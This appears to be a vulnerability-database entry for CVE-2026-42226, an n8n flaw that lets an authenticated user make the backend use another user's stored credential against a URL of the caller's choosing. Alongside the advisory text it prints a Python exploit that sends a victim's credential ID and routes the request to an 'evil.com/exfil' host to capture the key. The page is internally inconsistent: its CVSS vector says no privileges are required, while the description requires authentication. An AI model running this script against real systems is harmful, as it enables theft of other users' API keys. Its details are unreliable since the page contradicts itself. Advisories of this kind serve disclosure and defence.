CVE-2026-42226

Description

n8n is an open source workflow automation platform. Prior to versions 1.123.33 and 2.17.5, the dynamic-node-parameters endpoints did not verify whether the authenticated caller was authorized to use a supplied credential reference. An authenticated user with access to a shared workflow could supply a foreign credential ID in the request body, causing the backend to decrypt and use that credential in a helper execution path where the caller also controls the destination URL. This allowed the caller to force the backend to authenticate against attacker-controlled infrastructure using a credential belonging to another user, effectively exfiltrating a reusable API key. The issue is not limited to any single node type; any node that resolves credentials dynamically through these endpoints may be affected. This issue has been patched in versions 1.123.33, 2.17.5, and 2.18.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:* - VULNERABLE

n8n < 1.123.33

n8n < 2.17.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target instance
target = "https://target-n8n-instance.com"
endpoint = "/rest/dynamic-node-parameters"

# Attacker's server to receive the leaked credential
attacker_server = "https://evil.com/exfil"

# The ID of the credential owned by the victim
victim_credential_id = "123"

headers = {
    "Content-Type": "application/json",
    "Cookie": "session_id=attacker_session_cookie"
}

# Payload exploiting the IDOR to use victim's credential
payload = {
    "nodeType": "@n8n/n8n-nodes-langchain.httpRequest",
    "operation": "get",
    "resource": "dynamic",
    "path": attacker_server, # Malicious URL
    "credentials": {
        "id": victim_credential_id, # Injecting foreign credential ID
        "name": "stolenCred"
    }
}

response = requests.post(target + endpoint, json=payload, headers=headers)

print("Request sent. Check attacker server logs for credential usage.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42226
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42226
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42226/
[4] VulDB https://vuldb.com/cve/CVE-2026-42226
[5] https://github.com/n8n-io/n8n/security/advisories/GHSA-r4v6-9fqc-w5jr

Raw JSON Data

JSON

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